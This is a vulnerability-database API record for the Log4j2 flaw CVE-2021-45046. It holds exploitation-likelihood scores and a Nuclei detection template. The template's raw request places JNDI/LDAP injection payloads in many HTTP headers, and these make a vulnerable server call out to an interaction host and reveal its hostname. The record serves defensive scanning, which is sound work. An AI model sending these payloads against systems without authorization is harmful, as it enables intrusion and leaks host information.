{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2021-45046/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2021-45046/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2021-45046/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2021-45046/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2021-45046/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2021-45046"},"sightings":{"href":"/api/v1/sightings/cve-2021-45046"}},"enrichments":{"cisa-kev":{"kev":true},"epss":{"epss":0.99977,"kev":true,"percentile":0.99979},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2021/CVE-2021-45046.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2021-45046\ninfo:\n  name: Apache Log4j2 - Remote Code Injection\n  author: ImNightmaree\n  severity: critical\n  description: Apache Log4j2 Thread Context Lookup Pattern is vulnerable to remote code execution in certain non-default configurations.\n  impact: |\n    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.\n  remediation: |\n    Apply the latest security patches or upgrade to a non-vulnerable version of Apache Log4j2.\n  reference:\n    - https://securitylab.github.com/advisories/GHSL-2021-1054_GHSL-2021-1055_log4j2/\n    - https://twitter.com/marcioalm/status/1471740771581652995\n    - https://logging.apache.org/log4j/2.x/\n    - http://www.openwall.com/lists/oss-security/2021/12/14/4\n    - https://nvd.nist.gov/vuln/detail/CVE-2021-44228\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H\n    cvss-score: 9\n    cve-id: CVE-2021-45046\n    cwe-id: CWE-917\n    epss-score: 0.99977\n    epss-percentile: 0.99979\n    cpe: cpe:2.3:a:apache:log4j:*:*:*:*:*:*:*:*\n  metadata:\n    max-request: 1\n    vendor: apache\n    product: log4j\n  tags: cve2021,cve,rce,oast,log4j,injection,kev,apache,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        GET /?x=${jndi:ldap://127.0.0.1#.${hostName}.{{interactsh-url}}/a} HTTP/1.1\n        Host: {{Hostname}}\n        Accept: ${jndi:ldap://127.0.0.1#.${hostName}.accept.{{interactsh-url}}}\n        Accept-Encoding: ${jndi:ldap://127.0.0.1#.${hostName}.acceptencoding.{{interactsh-url}}}\n        Accept-Language: ${jndi:ldap://127.0.0.1#.${hostName}.acceptlanguage.{{interactsh-url}}}\n        Access-Control-Request-Headers: ${jndi:ldap://127.0.0.1#.${hostName}.accesscontrolrequestheaders.{{interactsh-url}}}\n        Access-Control-Request-Method: ${jndi:ldap://127.0.0.1#.${hostName}.accesscontrolrequestmethod.{{interactsh-url}}}\n        Authentication: Basic ${jndi:ldap://127.0.0.1#.${hostName}.authenticationbasic.{{interactsh-url}}}\n        Authentication: Bearer ${jndi:ldap://127.0.0.1#.${hostName}.authenticationbearer.{{interactsh-url}}}\n        Cookie: ${jndi:ldap://127.0.0.1#.${hostName}.cookiename.{{interactsh-url}}}=${jndi:ldap://${hostName}.cookievalue.{{interactsh-url}}}\n        Location: ${jndi:ldap://127.0.0.1#.${hostName}.location.{{interactsh-url}}}\n        Origin: ${jndi:ldap://127.0.0.1#.${hostName}.origin.{{interactsh-url}}}\n        Referer: ${jndi:ldap://127.0.0.1#.${hostName}.referer.{{interactsh-url}}}\n        Upgrade-Insecure-Requests: ${jndi:ldap://127.0.0.1#.${hostName}.upgradeinsecurerequests.{{interactsh-url}}}\n        User-Agent: ${jndi:ldap://127.0.0.1#.${hostName}.useragent.{{interactsh-url}}}\n        X-Api-Version: ${jndi:ldap://127.0.0.1#.${hostName}.xapiversion.{{interactsh-url}}}\n        X-CSRF-Token: ${jndi:ldap://127.0.0.1#.${hostName}.xcsrftoken.{{interactsh-url}}}\n        X-Druid-Comment: ${jndi:ldap://127.0.0.1#.${hostName}.xdruidcomment.{{interactsh-url}}}\n        X-Forwarded-For: ${jndi:ldap://127.0.0.1#.${hostName}.xforwardedfor.{{interactsh-url}}}\n        X-Origin: ${jndi:ldap://127.0.0.1#.${hostName}.xorigin.{{interactsh-url}}}\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: interactsh_protocol # Confirms the DNS Interaction\n        words:\n          - \"dns\"\n      - type: regex\n        part: interactsh_request\n        regex:\n          - '\\d{3}\\.\\d{1}\\.\\d{1}\\.\\d{1}\\.([a-zA-Z0-9\\.\\-]+)\\.([a-z0-9]+)\\.([a-z0-9]+)\\.([a-z0-9]+)\\.\\w+' # Print extracted 127.0.0.1.${hostName} in output\n    extractors:\n      - type: kval\n        kval:\n          - interactsh_ip\n      - type: regex\n        group: 2\n        regex:\n          - '\\d{3}\\.\\d{1}\\.\\d{1}\\.\\d{1}\\.([a-zA-Z0-9\\.\\-]+)\\.([a-z0-9]+)\\.([a-z0-9]+)\\.([a-z0-9]+)\\.\\w+' # Print injection point in output\n      - type: regex\n        group: 1\n        regex:\n          - '\\d{3}\\.\\d{1}\\.\\d{1}\\.\\d{1}\\.([a-zA-Z0-9\\.\\-]+)\\.([a-z0-9]+)\\.([a-z0-9]+)\\.([a-z0-9]+)\\.\\w+' # Print extracted 127.0.0.1.${hostName} in output\n        part: interactsh_request\n        # digest: 4a0a0047304502204a840a21336953401491afca41b378a09a1f91d1a9ddcc3730006d76b55739e1022100daab695f729353f232cefc195d1664d48a955e22a6c539731cf0eecf2718fdb9:922c64590222798bb761d5b6d8e72950\n# digest: 4a0a00473045022100926547ca553e3ab01be01d0ae03901a886041392064395fd22a559c5bc670aa50220705d37f444c1881535fb803ea12508d7eb0aee509ec9987a23a6ffc8a58fa1af:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2021-45046"}